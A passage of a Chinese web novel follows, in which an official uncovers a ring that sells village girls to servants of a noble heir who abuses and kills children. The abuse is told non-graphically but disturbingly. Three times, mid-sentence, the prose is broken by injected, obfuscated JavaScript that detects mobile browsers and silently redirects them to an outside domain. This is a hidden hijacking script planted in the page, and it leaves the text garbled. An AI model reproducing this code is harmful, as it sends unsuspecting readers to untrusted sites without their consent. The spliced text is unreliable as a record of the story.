江砚白目光一定，看见了个大约七/八岁的男童。 小脑袋没在墙上待多久，就被一只大手薅了下去，传来一阵骂声，“还这么皮！都多大了，摔着可有你哭的！” 随后便是“啪啪”两下，皮肉被打的声音，男童的哭声也随之响起。 这厢庞文家的木门总算打开了，来开门的是个清丽女人，眉眼很秀气，眼睛红红似乎是刚哭过，看年岁应该是这家媳妇。 老庞笑着给江砚白介绍，“这是庞文的媳妇，杏花。” 又转头对杏花说，“杏花，还不见过大人。” 名叫杏花的女人听见老庞的称呼，瞬间就跪下了，江砚白都来不及扶。 “快起来，不必行礼。” 杏花眼眶中涌出眼泪，却没有起来，扯着江砚白衣袍下摆，“大人，救救我们大丫吧！” 杏花呜呜地哭起来，“我们大丫最懂事了，平日里割猪草照顾弟弟，天杀的拐子，害了我的大丫！” 老庞劝道，“大人这不是来了吗，快别哭了，与大人说说大丫是怎么没的。” 庞文下地去了还没回来，家里就杏花和她婆母在。 杏花把伍氏也叫了出来，伍氏抱着小孙子一脸不耐烦，骂骂咧咧道，“就一个赔钱货丢了，这么多人，一拨一拨的来，烦真是烦死了！” 江砚白冷着脸，小杨脸色也不好看。 老庞斥了声，“大人面前，不得无礼。” 伍氏这才看见屋内多了两个面生的人，小杨腰间挎着刀，面色不虞，伍氏后知后觉地开始害怕，往杏花身后躲了躲。 小杨对着这种把孙女的命不当回事的老婆子也没好气，声音大了些，“问什么答什么，知道吗？” 婆媳俩点头如捣蒜。 杏花说的比较详细，庞大丫走失那日穿的什么衣服，头上戴着根红头绳这些细节都能说出不少来。 伍氏就不行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15981892|177965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了，连庞大丫具体失踪的时辰都不清楚，中间她怀里的小孙儿醒了，便一心顾着哄孩子，对江砚白的问题也是越来越敷衍。 江砚白索性也不问她了，继续问起杏花细节来。 “大丫十岁了，警惕性很强的，不会和陌生人走的。”杏花说得肯定。 老庞也说，“大丫这孩子挺机灵的，而且那几日也没来什么生面孔。” 江砚白默默将这些记到心底，就在他快结束问话时，门外传来了脚步声。 是庞文回家来了，杏花站起来去接他肩上的锄头，“怎么这么晚回来？” 庞文擦了擦额头的汗，“还是不死心，去附近的山上找了找。” 庞文巡视一圈，温柔地问妻子道，“家里有客人啊？” “是来帮忙找大丫的大人。” 庞文连忙行礼，“多谢各位大老爷了。” 江砚白还有最后一个问题，“当时为什么不报官？”他见庞文对他妻子温柔，直到今日也没放弃找女儿，所以这一点便很奇怪了。 夫妻俩对视一眼，同时看向伍氏。 伍氏眼神躲闪，心虚地侧过身子，“看我做什么。” 最后庞文开了口，“大丫丢了的那日我娘突然晕倒了，我忙着找大夫，杏花照顾我娘，一时就没顾得上。后来我娘又说，定是大丫贪玩跑了出去，叫我们不必那么快报官，说不定人就自己回来了……” 老庞听完了始末，忍不住骂了句，“糊涂！你弟弟庞武呢，怎么他老娘生病了，就你和杏花忙活？” 老庞在庞家村有些威严，他这么一吼，庞文低下了头，小声说道，“我们已经分了家的。” “分了家那也是他老娘！” 老庞一路走来积攒了不少怒气，前三家也都一样，认为没什么大事，就是不报官，孩子丢了却一点也不关心。 虽然自古都是偏心男娃娃的，可也不能不把女娃娃的命不当命呀！ 伍氏缩在墙根，江砚白目光如炬，“你嫌弃大丫是个女娃，但你有没有想过，自己也是个女人呢？若是你十岁的时候就丢了，你爹娘也不闻不问，你以为今天还能好好地坐在这儿吗？” 伍氏被他这番话说的无地自容，嘴上没说什么，心里却埋怨道，这个赔钱货丢了还能惹出这么大/麻烦，真是个祸害！ 小杨也被气得不轻，不想再看那老货一眼，只对杏花和庞文交代，“有什么情况记得告诉里正。” 出了庞文家的门，路过一旁，江砚白叫小杨去敲开了邻居的门。 是个中年妇人开的门，身后还跟着个虎头虎脑的孩子。 妇人知道老庞身边的人都来头不小，是大官，战战兢兢道，“大老爷有事吗？” 江砚白淡淡道，“没什么大事，只是你教育孩子的方式得稍微改改，别再一言不合就动手了。” 妇人连连应声，“是，马上改，都改了。” 妇人瞥了眼庞文家的院子，没压住自己的好奇心，问老庞，“里正啊，这庞大丫丢了这么些天了，有消息了吗？” 老庞长叹一声，摇摇头，“还没呢。” “大丫姐姐才不是丢了呢，她去给大户人家做丫鬟了。” 江砚白倏地回身，看向小男孩，“你说什么？” 24. 不是失踪 “你说什么？” “你说什么？” 江砚白突然严肃的神情，让小孩有些害怕地往他娘身后躲了躲。 妇人见状又想抬手打人，又想起方才的承诺来，抬起手又放下，“大老爷莫怪，小孩子胡说八道呢。” 胡说吗？那可不一定。 江砚白面色柔和了些，往袖口里掏了掏，掌心多了几个果糖，向小孩招招手，“过来，大哥哥问你些话，答对了给你糖吃。” 哄小孩江砚白还是会一些的，毕竟自家侄子小时候也不是个让人省心的主。 他手里的果糖是沈鱼做的高粱饴，让他带回去给江明禹的。 小男孩见了糖，什么也不怕了，从妇人身后钻出来，一溜烟跑到江砚白面前。 “你为什么说，庞大丫去大户人家当丫鬟了？” 小男孩挺起胸膛，“大丫姐姐亲口同我说的，那天我们在一块玩，她说她二叔要介绍她去大户人家里当丫鬟，她可高兴了，一个月能有一两银子的月钱呢。” 江砚白递给他一颗糖，“大丫还说了什么？” 小男孩拿着糖，伸手挠了挠后脑勺，仔细想了想，“哦，大丫姐姐还说了，等她挣了钱，就给我买糖葫芦吃。” 江砚白又问了些其他的，小男孩显然知道的有限，再没说出什么有用的线索。 一个孩子还不知道一两银子有多大的购买力，若是说谎也不会撒这样的谎。如此，从他的话分析，可信度很高。庞大丫口中的二叔就是关键了。 江砚白问老庞，“庞武住在哪？” 老庞指了个方向，“就在那边，不远，走过那榕树就是。” “走，去找庞武。” 一行三人又向庞武家走。 “大人真信了那娃儿的话，小孩子家家的，万一胡说呢？”老庞有些疑虑。 江砚白沉吟，“是真是假，一问便知。” 说话间，庞武家便到了，屋舍要比庞文家小一些。 照例是老庞去叫门，庞武夫妇都在家。 庞武虽名叫武，却不如庞文魁梧，精瘦的模样活像个猴。庞武的妻子也没杏花标致，眉毛上挑，法令纹极深。 一进了院门，院子里墙边堆了些青石砖和泥沙，小院收拾的一点儿也不齐整，墙根下生了不少杂草，看上去乱糟糟的。 庞武夫妇见老庞来了，弯着身子把人请进门，“里正来了，快请坐。” 两人掇出几张凳子来，小杨看了一眼上面还有没擦干净的菜汤，一脸嫌弃地站着了，江砚白也没坐下。 “叔您许久不上门了，来吃个李子。”庞武热切地套着近乎，小碗里装了四个李子。 老庞挥开他的手，哪里是许久不上门，是根本没上过门。庞武是他们庞家村出了名的懒汉，无奈伍氏偏疼小儿子，使劲捞大儿子家的油水补贴小儿子。 两兄弟分家的时候，若不是他这个里正出面，恐怕如今庞文家的屋子还要被庞武分去几间。 “别忙活了，城里来了大老爷，有事要问你们。” 庞武听见这话笑意僵在脸上，说话都有些不利索，“大……大老爷。” 庞武媳妇站到了庞武身后，夫妇俩紧贴了些。 江砚白漫不经心道，“你们知道庞大丫失踪的事情吧。” 庞武和媳妇对视一眼，身体微微有些战栗，“知……知道。” 江砚白走近几步站定目光灼灼地盯着二人，猛然提高了嗓音，厉声道，“你们做了什么，自己交代！” 又给小杨使了个眼色，小杨会意，拔/出腰间的刀来，刀擦过刀鞘的声音金属声音刺耳。 庞武夫妇俩抖如糠筛，双腿一软，竟是站也站不住，“扑通”一声跪倒在地，“大老爷饶命啊，饶命！！” 庞武媳妇推开庞武，指着他的鼻子道，“事情都是庞武做的，与我没有干系，大老爷明察！”接着又是砰砰磕了几个响头。 庞武眉毛倒竖，嘴一撇，“好哇！你个臭婆娘，事到临头想撇清关系，没那么容易！” 说着双手就向她掐去，小杨动作慢了几分，庞武已然掐住了他媳妇的脖颈，庞武媳妇一时喘不上来气，只觉得胸膛都快爆炸了，憋红了脸。 小杨才上前提着刀柄在庞武胳膊上重重一击，庞武吃痛松开了手，再想动手，一把明晃晃的刀架在了他脖子上，立马不敢再有动作，一个劲地求饶。 庞武媳妇捂着脖子喘着粗气，发丝凌乱，活像个母夜叉，指着庞武道，“你……你要杀人！” 随即哭喊起来，吵得人耳朵疼。 小杨没什么耐心，实在忍不下去了，吼道，“闭嘴。” 庞武媳妇连忙闭上了嘴，低下了头。 江砚白一进门便知庞武有猫腻，家中其他地方都破旧不堪，却有钱置办泥沙和青石砖，两人一见他就把心虚写在了脸上，对付这样的人，都无需用什么审讯手段，略吓一吓就什么都招了。 庞武夫妇争先恐后地交代，生怕说晚了就让对方得了先机。 两人絮絮叨叨地说着，时不时夹杂着几句对骂，总算是把事情交代清楚了。 庞大丫哪里是自己走失的，根本就是被他俩给卖了！ 那日庞武媳妇回娘家，无意中得知了有大户人家在买丫鬟，要十岁左右的年纪，价钱足有五两呢！ 庞武媳妇回来与庞武一说，两人都有些意动，只是俩人没孩子，便把主意打到了庞大丫的身上。 “我哥和嫂子平时可疼那丫头了，直说他俩肯定不会同意的。” “所以你就偷偷把孩子卖了，你还是人吗！”老庞气愤不已，庞武就是庞家村的祸害。 庞大丫十岁了，要想通过直接掳人的法子把人神不知鬼不觉的弄走，基本是不可能的。庞大丫这丫头颇有几分机灵，庞武找了好些借口都没有将人骗出来。 一计不成又生一计，庞武的聪明劲全用在了歪门邪道上，他告诉了庞大丫有人找丫鬟的事情，但并未说是卖身一去不回那种，只说是去大户人家做活，每月还是可以回来几趟的。 庞武说一半瞒一半，又嘱咐不可将事情告诉庞文夫妇，万一主家没看上她，岂不是让父母白高兴一场。 庞大丫也觉得有理，便与庞武约定了时辰明日午时在后山上见。庞大丫懂事，想要替爹娘减轻些担子，也想着要是自己能赚钱，奶奶是不是就能对她好一些。 单纯的庞大丫哪知道她二叔是存了把她卖掉的心思。 庞武又伙同伍氏，要她届时装病，他再故意不出现，让庞文夫妇不能及时去报官，拖上几天。伍氏从来都不在意庞大丫这个孙女，见能卖了这个赔钱货又能得一大笔银子，自是喜不自胜，答应了。 “到了后山，我就用买家给的迷药将人迷倒了，在大丫身上套了个麻袋就把人给买家送去了。” “买家给了你迷药？”江砚白抿唇，“东西还在吗？” 庞武点头如捣蒜，“在的在的。”买家给的分量多，他没全用完，知道这东西也不那么容易得，准备等风声过了，拿去换些银子。 庞武从炕上装被子的柜子里，摸出个小纸包来，恭恭敬敬地递给了江砚白。 “大老爷，我都招了，是不是能不抓我了。毕竟我也不是想害那丫头，是让她享福去了。” 江砚白收起纸包，脸上一凛，“大户人家买丫鬟婢子，多会去牙行或是集市，哪有特地来乡下收的，况且买家还准备了迷药，你当真觉得给庞大丫找了个好去处？” 庞武心头打鼓，的确在买 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15981893|177965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家拿出迷药时，他有过怀疑，只是被银钱的诱惑给压了下去。 “只卖了一个庞大丫吗？”江砚白目光如炬。 庞武心里咯噔一下，这大老爷怎么什么都知道，又出了一身汗。庞武卖了庞大丫后，见五两银子来得那么容易，心头又生了歹念，想把别人家的孩子也卖了。 他专挑那些家中有好几个孙女的，笃定他们不会在意，就算是报官了也查不到他这儿来。 其他三个，竟都是他卖的！ 老庞恨不得一棍子打死这祸害，“造孽啊，造孽！” 江砚白又转头问庞武媳妇，“你娘家在哪？” “奴娘家是秦家村的。” 小杨往江砚白的方向走了一步，低声道，“大人，哪儿不正好是剩下几个孩子……？” 江砚白抬手，示意他不必说了。巧合多了，就不是巧合了。 江砚白看向庞武，庞武心虚，忙高声喊，“秦家村的可和我没关系啊！” “庞武，那买家长得什么模样，你可还记得？” 庞武跪着向江砚白的方向移动，“记得的，那两人一高一矮，矮子短粗眉，塌鼻头下巴上长了颗黑痣，高的很瘦与我差不多吧，长了满脸麻子。” 江砚白吩咐小杨将他带回去，让大理寺的人根据他的描述画出画像来。 庞武媳妇和伍氏是共犯也是一并带走，拐卖人口可是重罪，这几人至少要在牢里关上几年。 其他丢了孩子的人得知了真相，怒火中烧，拿了烂叶子，臭鸡蛋就往庞武夫妇身上砸。尤其庞文夫妇更是又急又气，觉得丢人又心寒。 “咱们庞家村怎么出了这种祸害！” “真是黑心肝的，都是孩子，他们竟然敢偷着卖了。” “呸，这几个腌臜货！” 大理寺的画师很专业，照庞武的描述画了画像，拿给庞武辨认，庞武连连点头说，就是这两个人。 江砚白立即命人画影图形，全城通缉。 客栈食肆是人来人往之地，是以每个店里都贴了一份。 崔四拿着画像，“啧啧，这两人看上去也不像大奸大恶之人呀，没想到做这种拐卖人口的事。” 阿莓怼他，“坏人当然不会把坏写在脸上呀。” 崔四凑近画像，仔细看了看，“怎么越看越觉得有些眼熟？” 阿莓笑起来，“别是想银钱想疯了！” 通缉令上写着，有提供线索者，奖励十两银子。 “食肆里每日人来人往这么多人，说不定我真见过呢！” 邓氏想到那凶手可能在食肆里出现过，后背发凉，“快别说了，怪瘆人的。” “邓嫂子别理他，就是馋那十两银钱。” “唉，你这人……” 眼见两人又要吵起来，沈鱼两手各在他们脑袋上轻拍了下，“别闹了。” 又对崔四说，“云阳伯府的菜和糕点好了，你和常二速去速回。” “我一个人去足够了。” 常二与崔四同岁，却比他稳重许多，有他陪着沈鱼也放心些。 沈鱼给了崔四一个脑瓜崩，“你这人呀，就是性子太挑脱，快去吧。” 云阳伯府别苑今日要宴客，在食肆定了不少东西，因酒宴在别苑，食材不好准备，沈鱼便做好了让人送去。 沈鱼给他们雇了辆驴车，把饭菜酒水搁在上面，嘱咐他俩，“可看好了，别半道让人偷了。” 饭菜用数个食盒装好，酒水用了个大木桶装着，沈鱼怕饭菜失了温度，又在上面盖了一层帆布。 崔四笑道，“怎么我们还防不住偷儿吗，掌柜也太小瞧我们了。” 常二老实，点了点头，“掌柜放心，我会好好看住的。” 25. 巧遇疑犯 云阳伯府的别苑在郊外，有些路程，崔四他们到了的时候天色刚刚暗下来。 驴车在后院停下，有个管事模样的人立即上前，神态着急，看样子已等了许久。 “怎么才来，宴席都快开始了！”语气中颇有责怪之意。 崔嘶赔笑道，“郊外路难行，实在是怕洒了饭菜酒水，请贵人见谅。” 管事的吩咐小厮将东西拿进去，崔四常二也一起帮忙。 入了别苑，亭台楼阁，九曲回廊，廊腰缦回，其堂皇富丽让崔四咋舌。 路过花园，园中的名贵花木琳琅满目，酒宴未启，客人已玩作一团，吟诗投壶，或雅或俗，气氛正酣。 到了正厅，崔四不敢再乱看，只低着头将饭菜送了进去。 食盒与木桶是要带回的，桶中的酒倒在别苑的酒缸里，崔四与常二抬着空木桶放到车上。 “这酒香真是闻一口都醉了呀！”崔四感叹道。 常二将帆布铺好，“怎么，你也想来一口？” 两人坐在驴车上，等着管事的来给剩下的一半银钱，崔四摸了摸下巴，“我可喝不起这好酒。” 崔四倏觉腹内一疼，手捂着肚子，面露难色。 “怎么了，闹肚子了？”常二莫名有些幸灾乐祸，他人老实嘴也笨，时常被崔四占去不少口头便宜，看他出丑，忍俊不禁。 “你快别笑了！”腹中翻江倒海，定是午间那个蛋黄酥闹的，掌柜说坏了让他拿去丢了，他没舍得，自己吃了。 崔四正想找个地方解决一下，管事的提着个钱袋出来，崔四上前谄媚道，“这人有三急，劳烦老爷指条路，让小人去出个恭。” 又双手抱拳作了个揖，“多谢大老爷了！” 管事的被这两声老爷喊得十分熨帖，心情大好，给崔四带了回路。 崔四把钱袋甩给了常二，捂住肚子进去了，常二抬头看了一眼他的背影，低头认真地数起了银钱来。 崔四解决完个人问题，只觉得浑身舒畅，提着裤腰带就往外走。 对面摇摇晃晃走过来一个人，夜色做掩，两人都没注意面前有个人，结结实实地撞上了。 “哎呦，谁呀，没长眼睛吗？”那人身上有酒气，显然有些喝多了。 别苑里都是贵客，崔四不清楚眼前人身份，只好赔罪，“大爷别生气，小人没注意，实在是不好意思。” 月色朦胧，那人被撞到在地，崔四走近，这才看清这人穿了身小厮衣服，根本不是贵人。 崔四顿时懒得理他，那人却不肯放过他，嘴里叫嚷道，“过来，把本大爷扶进茅厕。” 方才那下撞得有些厉害，那人揉了揉屁股，撑着身子一下没起来。 崔四暗叹了声，不想节外生枝，还是过去搭了那人的肩。他没好气地转头看人，心头蓦地一跳，眨了眨眼再定睛一看。 这人，这人不就是那个十两银钱吗？ 借着月光，崔四端详了那人的样貌，与通缉令上有八分像，短粗眉，塌鼻头，大黑痣，且通缉令上有提到那两人一个身材矮小，一个体格高瘦。 面前这人堪堪到他的肩头，不正符合？ 崔四将人扶进茅厕，匆忙跑出门外，对着常二道，“快走！” 他心如擂鼓，激动之情溢于言表。 “怎么了，那么着急？”常二看他急轰轰地，面露疑色。 崔四心头雀跃，挑了挑眉道，“有好事！发财啦！” 他神神叨叨，常二还当他犯了癔症，也没多问，驾着车回程。 崔四开心地抽着小皮鞭想要快些回去，可怜了那头老驴喘着粗气总算在申时时分回到了沈记。 一落地崔四便一溜烟的跑进门，独留常二在门口卸车。 “掌柜，掌柜！我看见他了！” 沈鱼莫名其妙被崔四扯住了胳膊，“你看见谁了？” 崔四将她带到了贴着画像的墙面前，指着其中一人道，“就是他。” 沈鱼一激动，反手拽住了他的胳膊，“当真？” “当真！我看得真真的！那人身材矮小，下巴上，就和这画像上一模一样的位置长了个黑痣。” “你在哪见到的？”沈鱼冷静了下来。 “云阳伯府的别苑里。他穿着小厮衣服，应该是别苑里的下人。” 沈鱼微微偏头，拧起了秀眉，“云阳伯家的下人？”这事情可大了，她不敢耽搁，忙让崔四去通知江砚白。 “哎呦！怎么空木桶也那么重呀？”常二本想把木桶抱起来，没想到使了五成的力气没抱起来，还差些闪了腰。 木桶盖子忽地动了下，常二差点没吓死，一脚踹在木桶上。 木桶倒在车上，盖子也掉了下来，里面竟然爬出个人来！ “鬼啊！”常二吓得魂不附体，一路叫喊着跑进了店里，还踢翻了门前矮凳，右脚绊了下门槛，一不留神摔倒在地。 这么大的动静吸引了沈鱼和阿莓，沈鱼扶起跌坐在地的常二，“发生什么事情了，哪里有鬼？” 常二瞪大眼睛，哆哆嗦嗦地指向驴车，“在……在桶里。” 车上黑漆漆的，阿莓拦住了想上前的沈鱼，沈鱼摇摇头，推开了她的手，酒桶里能有什么鬼，酒鬼吗？倒像是有人装神弄鬼。 车上确实有团黑影，黑影缩成一团，似乎在发抖，沈鱼靠近了些，终于看清了。 不是鬼，是个身量未足的女孩。 只是女孩披头散发，衣衫凌乱，有些看不清本来面目，确实容易被误会。 沈鱼矮下身子温柔地问，“小妹妹，你是谁呀，怎么会在木桶里？” 女孩瑟瑟发抖，露出那双黑白分明的大眼睛看她，身体晃了晃，朝后倒去。 沈鱼伸手护住女孩的脑袋，防止磕在车辕上，让阿莓把女孩抱了进去。 邓氏简单地给女孩擦洗了下，替她理了理头发，掩埋在长发下的小脸皮肤白皙，眉目灵秀，是个小美人呢。 “这女娃长得真好看！”邓氏笑着夸赞道。 沈鱼端了一碗解酒汤，“她在酒桶里待了太久，被酒气熏晕了，把这给她灌下去就好了。” 沈鱼左右打量了女孩，她身上穿的衣服价值不菲，皮肤很嫩像个娇小姐，可看手却又不像了。她手上长了些硬茧，一见便知是干过活的一双手。 颈部和手臂上有些红痕，不知是怎么伤的。 醒酒汤一灌下去，女孩不久便悠悠转醒，睁着眼睛，茫然地看向陌生的四周。 沈鱼递给她一块绿豆糕，“饿了吧，快吃些吧。” 绿豆糕还热乎着，散发着诱人的香味，女孩饿了一夜，肚子早就在唱空城计了，望向沈鱼，怯怯地伸出小手，拿过绿豆糕就往嘴里塞。 她吃得太急还噎到了，邓氏端了温开水过来，“慢些吃，还有的是呢。” 女孩吃着吃着，豆大的泪珠从眼眶里滚落，滴在她的手上，“谢谢，谢谢你们。” 沈鱼在一旁观察，神智清醒，识趣知礼，只是不知为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15981894|177965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何会沦落到这般境地。 女孩吃了三块就没在吃了，瞪着大眼睛，可怜兮兮地看着沈鱼，“姐姐，你能送我回家吗？” 沈鱼坦然道，“当然啊，不过你得先告诉我，你是谁，又是怎么到木桶里去的。” 女孩怯怯地，“我叫庞大丫，是京郊庞家村的……” 只一句话，沈鱼就明白了这女孩身份，正是那些失踪的女孩之一。天可怜见，她还活着。 江砚白甫一进门，就听见了这句话，眼中眸光一闪。 庞大丫看见江砚白便抿紧了嘴不说话了，往沈鱼身边挪了挪，只露出一双眼，像只受惊的小鹿。 沈鱼拍了拍她的手，柔声道，“别怕，这位哥哥可是大官呢，能把坏人全部都抓起来。真的，他很厉害的！” 沈鱼的目光温柔而又强大，令庞大丫很安心，她放松下来，整个人不再紧绷。 江砚白察觉到庞大丫的抗拒，站在远处没有再进一步。 庞大丫缓缓地说着她被拐走后的经历，时不时还啜泣着，“我二叔说是去当伺候人的丫鬟，根本不是这样的！” “那两个人不让我们回家，起初还对我们挺好的，给好吃好喝的，可过了七八天，我们就吃不饱了，每日只给一点点吃的，还逼我们练舞。” 庞大丫说的“我们”便是指一起被拐去的女孩。 江砚白问，“那些女孩子，你都认识吗？” 庞大丫摇摇头，“有几个是我们村的，我认识，其他的就不认识了。” “他们逼我们练舞，可是我不会呀，练舞好疼啊！我就想跑了，可是有那两个很凶的人看着我们，有一次我逃跑，咬了那个矮个的人一口，但被抓回来了，我们哪里也去不了。” 江砚白拿了那两张通缉令给她看，岂料庞大丫一看就缩在了床角，“就是他们。” 沈鱼把她揽在怀里，轻声哄着，“不怕了啊，这里没有坏人。” 庞大丫渐渐平静，“他们说我们练好了舞，伺候好了贵人，以后荣华富贵享受不尽，可我不想要什么荣华富贵，我只想回家！我想我爹娘了，想弟弟了！” 庞大丫泣不成声，邓氏也红了眼眶，替她擦着泪。 “有些姐妹中途被带走了，然后再也没有回来，我不知道她去哪儿了，她是不是还……还活着。被带出去的人，没有一个回来的。我好害怕啊！我想着我一定不能被带走，一定要逃出去！” 今日她与三个姐妹被打扮好了送去别苑，她知道要去见那两人口中的贵人了，她的机会来了。 “到了那里，有一些衣衫华贵的男子，他们上来就脱我们的衣服，有几个姐妹拼命反抗，被他们打了巴掌。我吓呆了，什么反应都没有。那个抓着我的人不知道为什么放开了我，拿了一条丝绸勒住我的脖子……” 庞大丫的眼里满是惊恐，“我当时觉得我就要死了，我好想回家啊！好想我娘！想着想着就顺势晕了过去，装晕后，便没有人来碰我了……” 沈鱼泪眼朦胧，忍不住打断了她，“别说了！别说了！”才满十岁的女孩子啊！为什么要遭受这些啊！ 她太心疼了！ 之后便是庞大丫趁着人不注意便跑了出来，她知道凭她自己回不了家的，碰巧常二带着驴车在门口等人，她就轻轻爬了上去，常二那时候在专心数银子，也没注意到她。 江砚白攥紧了拳，这夜，大理寺灯火通明。 江砚白带着一小队人骑马先行，又有数十个武侯尾随在后。 26. 暗夜拿人 别苑内，宴席正酣，觥筹交错，夜色浓深，似乎所有的黑暗肮脏都被掩盖。 毒蛇优雅地吐着蛇信，幽幽地从洞中探出头来。洞口有只受惊的小兔，紧紧地贴着墙，小兔红红的眼，惹人怜惜，毒蛇却不会有怜悯之心，一口咬向小兔的脖颈。 丝竹的呕哑嘲哳更加响亮，宴席内的人却浑然不觉，正处人间极乐。 门外有两个小厮，此时却是站立不安。 “矮子，你确定少了一个？” 矮子惴惴不安地来回踱步，刚才的酒都被吓醒了，“确定，那丫头有回想逃跑，咬了我胳膊一口，我记着呢！而且我们带了五个来，你瞧瞧上面还剩几个？” 麻子知道要是真丢了人，事情就大了，心底还是存着几分侥幸，“说不定被贵人带去了内室，我们去外面找找，她一个小娘子，跑不了多远。” 别苑四周都是小路，天黑了就更难走了，这小丫头除非能飞天遁地，不然跑不了多远。 矮子细想了想，才放下心，与麻子一起去外头树林子里搜寻了。 他们不敢声张，若让主子知道，能不能见到明天的太阳就不一定了。 矮子耳朵不错，静谧的树林除了树叶的“沙沙”响声外，还听到了些别的东西，“麻子，你有没有听见什么声音？” 麻子侧耳倾听，“没有啊，你听见什么了？” 矮子不知为何有些心慌，趴在地上细细听着，“有马蹄声，还……还有脚步声。” “兴许是过路的马队吧。”麻子并没有在意。 矮子站了起来，掸了掸身上的灰尘，“谁家马队这么晚还赶路？” 马蹄声渐渐逼近，矮子心中的不安越来越重，“不对，不对……这是……” 矮子惊恐间，江砚白御风而至。 绯红官袍在火光的照射下红得耀眼，别苑门紧闭，传出丝竹之声夹杂着男男女女的欢笑声。 带头武侯一脚踹开院门，各家丁小厮都还不知发生了何事，一群人便冲了进来。 贺栾迷迷瞪瞪地睁开眼，也没把身边的小姑娘推开，“谁啊，扰本世子的雅兴？” 眼前的景象令人不忍直视，胡姬舞姬衣衫凌乱也就算了。主位上的几个姑娘容貌幼态，身量未成，画着与年龄不符的娇媚妆容，竟也衣不蔽体。 在场的武侯皆怒不可遏，他们家中也有妻子女儿，难免共情。有些脱了外衫给小姑娘们披上，就等着江砚白一声令下，把这群败类给绳之以法。 江砚白目光中似有寒冰，“帮云阳伯世子清醒一下。” “好。”小杨早做好了准备，提了一桶冷水，对着贺栾的脑袋倒了下去。 井水寒凉，夏日衣衫又薄，夜风一吹，贺栾冻了个哆嗦，理智回笼，也认出了眼前人，“江砚白！你敢如此对我！” 其他众人在听到江砚白的名字后，再醉的脑袋也清明了几分，纷纷捂着脸坐在座位上，他们有些人的父亲也是在朝高官，被江砚白抓到心慌不已。 江砚白懒得与贺栾多说话，只留给他一个背影，一声令下，“在场之人，全部带回。” 武侯们整齐喝道，“是！”故意下手没有轻重，这些平日里养尊处优的人哪扛得住这般对待，顷刻间咿咿呀呀地痛呼出声。 贺栾双手被反剪，面色凶狠，“江砚白，你区区一个大理寺少卿，无权绑我！” 江砚白抬起眼，声音掷地有声，“大理寺从来只抓犯人。” “本官的权，乃圣上亲赐，世子若有冤，尽管去圣上面前喊！” 贺栾啐了一声，嚣张道，“江砚白，你拿圣上来压我？等着吧，我等着你求我出来那一天。” 他跋扈惯了，从前也闯了不少祸，这次不过是玩了几个女童，反正他父亲和姑母都会为他摆平的，江砚白一个小小的大理寺少卿，能拿他怎么样？ 贺栾被拉走，江砚白看着他的背影，深深地皱起了眉。 云阳伯虽然只是伯爵，却是当今贵妃的亲弟弟，云阳伯世子便是贵妃嫡亲的外甥。 那堆人里也有不少熟面孔，一个女童失踪案，却牵扯出这么多事情来，此案在朝堂上怕是会闹出不少的风波来。 “大人，抓着两个想逃跑的！”小杨一手提了一个，扔在江砚白脚下。 矮子与麻子瑟缩着身子，大声喊道，“大人饶命啊，大人！”官府已经查到这儿了，他们做的事瞒不住，小命要不保了。 麻子越想越害怕，还没等江砚白开口呢，忽然感觉□□一湿，已然是尿了裤子。 江砚白夜审二贼，矮子与麻子不过是两个仗势欺人的恶仆，此时知道自己的靠山要倒了，竹筒倒豆子般交代得干干净净。 贺栾喜幼女，尤其是喜欢皮肤白皙身体柔软的，每半个月就要摆这么一场宴席，每次需要五六个女童。 可符合要求的女童哪里那么好找，乡下的女童大多皮糙肉厚，白嫩的又养在深闺。 两人便想了个法子，把乡下女童买来，在自己的院子里养上一段时日，将人养得白嫩了，又请来舞蹈师傅教她们跳舞。可是即便这样，也还是满足不了贺栾的需求，于是他们就只能或拐，或掳。 江砚白端坐在高堂上，厉声问道，“每次是什么意思？” 矮子低着头不敢往上看，讲话有些吞吞吐吐，“因为每次……每次宴席之后，那些……女娃，没几个能……能活下来的。” 贺栾残暴，最爱凌虐女童时她们的哭喊，各种手段层出不穷，任何能折磨人的法子他都使，女童们叫得越凄惨，他越开心。小小的女童怎么忍受得了他这般折磨，有些不堪受辱自尽了的，或是直接被折磨致死。死了后，拉到乱葬岗上，或是再山上随意找个地方一埋。 可怜这些刚刚长成的女童，如此便断送了自己的性命。 “你们知道自己犯了什么罪吗？助纣为虐，此举与杀人无异。” 两人都面如死灰，麻子又磕了两个响头，“大人，我们都交代了，能不能从轻……” 他话音未落，江砚白眼刀飞来，“真的都交代完了吗？” 平淡的语句却如惊雷在两人耳边炸开，两人不约而同想起那件事，对视一眼。 “刘大是你们杀的吧。” 江砚白的声音如同鬼魅般钻进两人耳朵里，刘大这个名字他们没听过，但他们的确还杀过一个人——一个大胡子。 